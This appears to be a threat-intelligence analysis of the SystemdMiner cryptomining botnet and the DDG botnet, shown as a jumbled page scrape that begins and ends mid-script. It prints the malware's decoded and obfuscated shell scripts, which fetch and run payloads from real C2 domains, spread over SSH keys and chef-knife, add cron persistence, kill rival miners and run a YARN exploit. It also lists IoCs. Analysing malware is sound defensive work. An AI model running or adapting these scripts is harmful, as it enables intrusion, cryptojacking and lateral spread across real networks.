knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
fi
if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then
hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
for h in $hosts;do xssh root $h; xssh $USER $h & done
fi
}
s1 rapid7cpfqnwxodo.tor2web.fyi
s2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net
s3
</code></pre><p>The script has three key functions, which are:</p><ol><li><strong>S1()</strong> : Report compromised host information to <code>rapid7cpfqnwxodo.tor2web.fyi/slave</code>. To send back the current user name, CPU architecture, host name, and current user's cron table. After Base64 encoding, set these host information as the http-referer vaule and sent as an HTTP GET requests to C2;</li><li><strong>S2()</strong> : Download the <strong>systemd-resolve</strong> file from C2 and execute it. System-resolve integrates the Exp of YARN's unauthorized access vulnerability;</li><li><strong>S3()</strong> : Horizontal propagation using 3 *nix automated operation and maintenance tools (ansible/salt/chef-knife) and local SSH keys.</li></ol><h4 id="3-1-2-shell-script-2-setting-up-a-cron-task"><strong>3.1.2 Shell Script 2: Setting up a cron task</strong></h4><p>The shell script used for horizontal propagation is also Base64 encoded and decoded as follows:</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
c() {
if [ -x $(command -v crontab) ]; then
if [ $(crontab -l |grep REDIS00) ]; then
crontab -r
fi
if ((!EUID)); then
if [ ! -f "/etc/cron.d/systemd" ]; then
echo "0 * * * * root /lib/systemd/systemd-login" > /etc/cron.d/systemd
fi
if [ ! $(crontab -l |grep systemd-login) ]; then
(echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
fi
else
if [ ! $(crontab -l |grep systemd-login) ]; then
(echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
fi
fi
fi
}
c
</code></pre><p>The main function of the script is to setup a new cron file <code>/etc/cron.d/system</code> to run <code>/lib/systemd/systemd-login</code> , the outcome of <strong>systemd-login-ddg</strong>. The wget and curl commands in the current user cron table are cleared to kill competitors' scheduled tasks.</p><h4 id="3-1-3-shell-script-3-killing-competitors"><strong>3.1.3 Shell Script 3: Killing Competitors</strong></h4><p>The original script is also Base64 encoded and decoded as follows:</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
pkill -9 -f "8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0"
find ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg
find /etc/cron*|xargs chattr -i
find /var/spool/cron*|xargs chattr -i
grep -RE "(wget|curl)" /etc/cron.*|cut -f 1 -d :|xargs rm -f
grep -RE "(wget|curl)" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget\|curl/d'
rm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts
</code></pre><p>The function of this script is to remove various competitors.</p><h4 id="3-1-4-shell-script-4-download-and-execute-the-cryptominer"><strong>3.1.4 Shell Script 4: Download and execute the cryptominer</strong></h4><p>The original script is Base64 encoded and decoded as follows:</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-analyze
y=/tmp/.systemd-analyze
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 6
}
if ! ps -p $(cat /tmp/.X11-lock); then
d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net
fi
</code></pre><p>To download and execute <strong>system-analyze</strong> from <code>rapid7cpfqnwxodo.tor2web.fyi</code> or <code>rapid7cpfqnwxodo.tor2web</code> . systemd-analyze is a mining program based on XMRig.</p><h4 id="3-1-5-shell-script-5-update-samples-and-malicious-shell-scripts"><strong>3.1.5 Shell Script 5: Update Samples and Malicious Shell Scripts</strong></h4><p>The original script is Base64 encoded and decoded as follows:</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login
y=/tmp/.systemd-login
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 5
}
u() {
x=/systemd.sh
(wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash
}
if [ -f /tmp/.systemd-update ]; then
kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update
d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi
fi
u rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi
</code></pre><p><strong>systemd-login-ddg</strong> uses this script to check the sample update flag file <code>/tmp/.systemd-updateand</code> and download the latest <strong>systemd-login</strong> sample accordingly. The latest malicious shell script, <strong>systemd.sh</strong> is then downloaded and executed.</p><p>Next, <strong>systemd-login-ddg</strong> executes the sixth shell script. The sixth shell script is basically the same as the fifth one, except that there is one more C2 Domain to download the <strong>systemd-login</strong> sample: <code>rapid7cpfqnwxodo.tor2web.io</code>.</p><h3 id="3-2-systemd-resolve"><strong>3.2 Systemd-resolve</strong></h3><p>As mentioned earlier, <strong>systemd-resolve</strong> integrates YARN's unauthorized access vulnerability to spred to other hosts horizontally. It is very similar to systemd-login-ddg , except that its daemon is named <strong><code>-rbash</code></strong> .</p><p>The sample is mainly used for internal network propagation targeting <code>172.16.0.0/12</code>, <code>192.168.0.0/16</code> and <code>10.0.0.0/8</code>. The sample first checks the <strong>LAN_IP</strong> of the current host, whether it belongs to the above three intranet segments:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/scan_yarn.png" class="kg-image" alt loading="lazy"></figure><p>If the current host's LAN_IP belongs to the above three network segments, the sample checks the <strong>8088</strong> ports of each host on the network:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/scan_yarn_pcap.png" class="kg-image" alt loading="lazy" title="scan_yarn_pcap"></figure><p>For the right target host, to use the following Payload to propagate itself:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/yarn_exp.png" class="kg-image" alt loading="lazy" title="yarn_exp"></figure><p>The shell script in Payload is also Base64 encoded and decoded as follows:</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login-h
y=/tmp/systemd
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
if ! ps -p $(< /tmp/.X1M-unix); then
d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io
fi
</code></pre><p>We can see that <strong>systemd-login-h</strong> will be downloaded and executed. This systemd-login-h function is the same as the systemd-login-ddg analyzed above.</p><h3 id="3-3-systemd-sh"><strong>3.3 Systemd.sh</strong></h3><p>As mentioned earlier, <strong>systemd-login-ddg</strong> downloads <strong>systemd.sh</strong> and executes it in the fifth shell script. In the early days of our analysis of the SystemdMiner family, this <strong>systemd.sh</strong> script had no substantive content:</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
</code></pre><p>At around noon at 2019.4.23, the attacker officially put the systemd.sh online, the latest systemd.sh content:</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-analyze
y=/tmp/.systemd-analyze
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 6
}
if ! ps -p $(cat /tmp/.X11-lock); then
d rapid7cpfqnwxodo.d2web.org
fi
</code></pre><p>Thus its purpose is to download <strong>systemd-analyze</strong> and execute it.</p><h3 id="3-4-systemd-analyze"><strong>3.4 Systemd-analyze</strong></h3><p>As mentioned above, SystemdMiner's current profit method is cryptomining, and the cryptominer program that ultimately undertakes this task is this <strong>systemd-analyze</strong>. The program also has the same methods of anti-analysis as SystemdMiner's other binaries, except that it names its own process as a 6-bytes random string of uppercase and lowercase letters and numbers. XMRig related string in the miner program:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/xmrig_str.png" class="kg-image" alt loading="lazy" title="xmrig_str"></figure><p>The cryptomining pool (Or Proxy) is under the attacker's own control. The mining account, password and Or Proxy used are as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/miner_conf.png" class="kg-image" alt loading="lazy" title="miner_conf"></figure><p>The corresponding IPs belongs to normal company or organization, most likey hacked hosts.</p><p>DomainDNS Recorde TypeIPRemarkpol-ice.ruA5.167.55.128An Ice-cream firm in Ruassiaecosustain.infoA136.243.90.99A project from European Regional Development Fund</p><h2 id="4-iocs"><strong>4. IoCs</strong></h2><p><strong>Domains</strong></p><pre><code>aptgetgxqs3secda.onion.ly
aptgetgxqs3secda.onion.pet
aptgetgxqs3secda.tor2web.fyi
aptgetgxqs3secda.onion.in.net
aptgetgxqs3secda.onion.mn
aptgetgxqs3secda.d2web.org
rapid7cpfqnwxodo.tor2web.fyi
rapid7cpfqnwxodo.onion.in.net
rapid7cpfqnwxodo.onion.ly
rapid7cpfqnwxodo.onion.pet
rapid7cpfqnwxodo.onion.mn
rapid7cpfqnwxodo.d2web.org
</code></pre><p><strong>Md5</strong>:</p><pre><code>64315b604bd7a4b2886bba0e6e5176be
dd8202ac5e6a2f6c8638116aa09694d7
45e4d4671efcd1d9e502359c2fbbd6eb
aa83345c8cc3e7b41709f96bfb9844f8
9f3edaa64e912661cd03f1aa9d342162
aa83345c8cc3e7b41709f96bfb9844f8
4215f6306caa3b216295334538cad257
50da2fb3920bfedfeb9e3a58ca008779
ceaee3da774cc712dc735d38194b396e
8d9f26cd8358dce9f44ee7d30a96793f
4bff1a92e6adcfe48c8b0f42b21a5af6</code></pre> | Update(2019.4.26 17:30)
About 3 hours after the release of this article, we found that the attacker took down the URL of some Payload downloads, the following URL has expired:
aptgetgxqs3secda.onion.ly/systemd-cron.sh
aptgetgxqs3secda.onion.pet/systemd-cron.sh
aptgetgxqs3secda.onion.ly/systemd-login-ddg
aptgetgxqs3secda.onion.pet/systemd-login-ddg
aptgetgxqs3secda.onion.ly/systemd-resolve
aptgetgxqs3secda.onion.pet/systemd-resolve
aptgetgxqs3secda.onion.ly/systemd.sh
aptgetgxqs3secda.onion.pet/systemd.sh
aptgetgxqs3secda.onion.ly/systemd-analyze
aptgetgxqs3secda.onion.pet/systemd-analyze
rapid7cpfqnwxodo.onion.ly/systemd-login-h
rapid7cpfqnwxodo.onion.pet/systemd-login-h
1. Overview
On Apr 11, we published a threat update on the DDG.Mining Botnet here with the following active C2:
119.9.106.27 AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China
Then in the early morning of 2019.4.19, we found that DDG updated its configuration data and the malicious shell script i.sh from this C2. And at the end of the i.sh script, a new shell script section was added.
The new shell script downloads a new set of malicious programs, interestingly, these new programs run independently from the DDG infrastructure. And it also kills the DDG process and clears out the DDG cron configuration.
Shortly after these new malicious programs appear , the above-mentioned main DDG C2 went offline.
We named this new botnet SystemdMiner, as multiple components of this malicious programs use systemd-<XXX> as their names.
This botnet uses three means to spread itself, and after a successful compromise, a mining program based on XMRig will be downloaded for profit making.
Although the above-mentioned main DDG C2 came offline, the DDG botnet did not die. Thanks to its P2P network structure and two standby C2s, the DDG botnet is still alive, with 3000+ active P2P Nodes per day.
In the early morning of 4.25, DDG came back online with 2 new C2s and upgraded its version number to v4000. The configuration data version is CfgVer:25 . This latest update blocks the SystemdMiner’s C2 in the hosts file, and starts to use the following 2 new C2s:
109.237.25.145 AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C
104.128.230.16 AS62217|VooServers_Ltd|United States|New York
SystemdMiner is completely different from DDG in terms of C2 infrastructure, network structure, malicious code technical details, propagation methods, cryptomining machine programs, etc.:
* The DDG infrastructure consists of one primary C2 IP and two or three standby C2 IPs, while the SystemdMiner infrastructure is in dark network and make them accessible through services like tor2web (and cryptominging pool proxy IP) ;
* The current network structure of DDG is a hybrid structure--a combination of a set of C2 IPs and P2P network, and the network structure of SystemdMiner is a traditional C/S structure;
* The main sample of DDG is written in Go language. It has been the same since its birth. It runs with a malicious shell script i.sh. The main binary samples of SystemdMiner is written in C language. The implementation details and other details of the code are also completely different;
* DDG's current binary samples are all packed with standard UPX packer, while systemdMiner's binary samples packed with morphed UPX packer with no intuitive UPX features;
* The DDG is mainly spread by using SSH weak passwords and Redis unauthorized access vulnerabilities. SystemdMiner uses the following means;YARN's unauthorized access vulnerability;Use the *nix automated operation and maintenance tool (salt / ansible / chef-knife) for horizontal propagation;Propagating itself with the SSH key saved locally once it has access to a target host.
* DDG's cryptominer program was compiled directly from XMRig, without packed, and XMR Wallet was hard coded in the cryptominer program. The SysmtedMiner cryptominer program made significant changes to the XMRig source code, packed with a morphed UPX packer, and did not expose XMR Wallet.
SystemdMiner’s main components:
* systemd-login-ddg ,ddgs.i686, ddgs.x86_64, systemd-login, systemd-login-h : these are the main samples, to set up tasks, horizontally propagate and download other samples and execute;
* cron.sh : to periodically download and execute the main samples;
* systemd.sh : to update the main sample and cryptominer program;
* systemd-resolve : exploit YARN unauthorize access vulnerabilities to spread itself horizontally;
* systemd-analyze : cryptominer program.
The systemdMiner’s real C2 servers are set up in the dark network and are mapped to the public network through a set of services like tor2web.
The following diagram shows dns requests trends for the C2 Domains of systemdMiner from our DNSMon:
2. DDG's last config data and i.sh before v4000
config data:
{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 tor2web.io\n0.0.0.0 gitee.com\n0.0.0.0 w.21-3n.xyz\n0.0.0.0 w.3ei.xyz\n0.0.0.0 aptgetgxqs3secda.onion.ly\n0.0.0.0 aptgetgxqs3secda.onion.pet\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\n0.0.0.0 aptgetgxqs3secda.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\n" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}
And the last i.sh before ddg.v4000 :
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep betsbce || rm -rf betsbce
if [ ! -f "betsbce" ]; then
curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce
fi
chmod +x betsbce
$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce
ps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9
echo ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash
Note the last Base64-encoded string in the i.sh script, which is decoded as a separate stand-alone shell script:
exec &>/dev/null
sed -i '/rapid/d' /etc/hosts
sed -i '/aptge/d' /etc/hosts
d() {
x=/systemd-login-ddg
y=/tmp/.systemd-login
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 5
}
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.ly
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.pet
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net
fi
This Shell script first checks the process ID in the /tmp/.X1M-unix , if the file does not exist or process is not running, it then attempts to download and run systemd-login-ddg through the following URLs :
aptgetgxqs3secda.onion.ly/systemd-login-ddg
aptgetgxqs3secda.onion.pet/systemd-login-ddg
aptgetgxqs3secda.tor2web.fyi/systemd-login-ddg
aptgetgxqs3secda.onion.in.net/systemd-login-ddg
In addition, in the i.sh script, the DDG download files in the URL hxxp://119.9.106.27:8000/static/3022/ddgs.$(uname -m) is also replaced with the following SystemdMiner’s own programs. Thus, there are 3 SystemdMiner's malicious programs was downloaded to DDG's bot through this propagation:
* systemd-login-ddg
* ddgs.i686
* ddgs.x86_64
3. SystemdMiner sample analysis
3.1 Systemd-login-ddg
systemd-login-ddg is one of the core files, the other four ddgs.i686, ddsg.x86_64, system-login, system-login-h are systemd-login-ddg variants.
All binary samples related to SystemdMiner are compiled from musl-libc . And packed with deformed UPX, the Magic Number of the deformed UPX packer is 0x7373622E (ASCII String: .bss) :
After unpacking, all the binary malicious program checks LD_PRELOAD and PTRACE_TRACEME for anti-debugging and anti-sandboxing:
Then, systemd-login-ddg deletes itself, creating the daemon process and writing the process ID into /tmp/.X1M-unix, the process name is -bash:
Next, systemd-login-ddg writes the following script into the /tmp/systemd:
#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash
The Base64-encoded string in the above script is decoded as follows:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash
If the current user is root , the sample will also check directory /lib/systemd/ , and execute the command cp -f /tmp/systemd /lib/systemd/systemd-login so it gets executed when the system starts.
Then, mv -f /tmp/systemd ~/.systemd-login , to move and hide the systemd file to the user's home directory.
The script file used to boot and execute the above /lib/systemd/systemd-login downloads a cron.sh file from the C2 server.
cron.sh is a highly obfuscated shell script with the following contents:
"${@%4}"$'\145v'${*%%5}al "$(rK=(\& \ ${*,,} l H \|${*//t5/&W} h n"${@//ar}" s \+${*##\(%} \!${!*} M${*^^} \. c 1${*##o} T 3"${@~~}" a${*~} w"${@%9Q}" g q \-${*#uo} \(${*,} \=${*##+C} \; O${*%JK} U"${@~}" 2$* \<${*%%3} y \} \:${@//_o/F} u e"${@}" r \/ L \{ o i k S"${@//Ao/W}" m f${@/s\`/\]} v${@%0$} A $'\xa'${*/Xr/>} \$${*/&T} b t"${@^^}" P x \) X p${*/u} d \>)&&for JS in 32${*#mP} 50"${@%%L}" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\} 54 32 43 34${*/^\{/T} 6 31 2"${@//s/x}" 2${*,,} 45"${@,,}" 32${*%E} 50 53${*//;\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14"${@,}" 3 30 34 47${@##+H} 38${*/j\!} 6 30 34${*%Oe} 7 47 38 6${*/P\}/\)s} 30${@%%DG} 34"${@%%J7}" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31"${@%Z}" 7${*%G6} 33"${@}" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37"${@//q?}" 12 16 2${@//K/EH} 34 47${*//./_\}} 38 6 30 34 31 7${*^} 33$* 34"${@,}" 2${*~~} 37"${@/-/=}" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36"${@##qh}" 45"${@^}" 1"${@,,}" 1${@/^z/o} 1 1 50 22${*~~} 34"${@##\`}" 7 28"${@,}" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/\`\"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28"${@~~}" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y\}} 7 28 7 48${*##\"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48"${@^}" 1 20${*/-G} 19 25 20 1 20"${@}" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//<Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46"${@,,}" 28 1 4 4${*%g8} 1$@ 12"${@%%%S}" 31"${@}" 33"${@##6^}" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1"${@##Zk}" 20"${@//;O}" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1"${@%%V}" 46${*%h6} 28${*%h7} 23 46${*~} 28"${@^^}" 45 29${@//5/1} 45 45 38 42 1${*//z/\(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11"${@//?\(/9}" 52"${@//:3}" 13${*~~} 10 20 31"${@#o}" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48"${@/Tc/&F}" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2/\}#} 6${*//\}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1"${@##r}" 4 4${*^^} 1${*#3} 54${@^^} 1"${@}" 16 53 48 18 32${@/\}\}} 48 18"${@^}" 50"${@^}" 19${@##d%} 7${!@} 15 7"${@}" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4"${@%77}" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18"${@~}" 32${*//,/P} 48 18 50${@##@} 19"${@%b}" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37"${@//Ca}" 33"${@~~}" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38"${@^^}" 1 4 4${*,} 1 54 1${@//k?} 16${@/\\} 53 48 18$@ 32${@#\\} 48 18${@/9} 50 19 7${*#\`c} 15 7 32 12${*^} 54${@%\]} 16 11 48 37"${@#V6}" 33"${@^^}" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45"${@~~}";do pr${*//<}i$'\x6e'\tf %s "${rK[$JS]}""${@/#}";done;)"
The real content after de-obfuscation:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login
y=/tmp/systemd
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
if ! ps -p $(< /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io
fi
Finally, systemd-login-ddg continues to execute a series of Base64-encoded shell scripts.
3.1.1 Shell Script 1: Report to C2 and use automated operation and maintenance tools to spread
The original script is Base64 encoded and decoded as follows:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
xssh() {
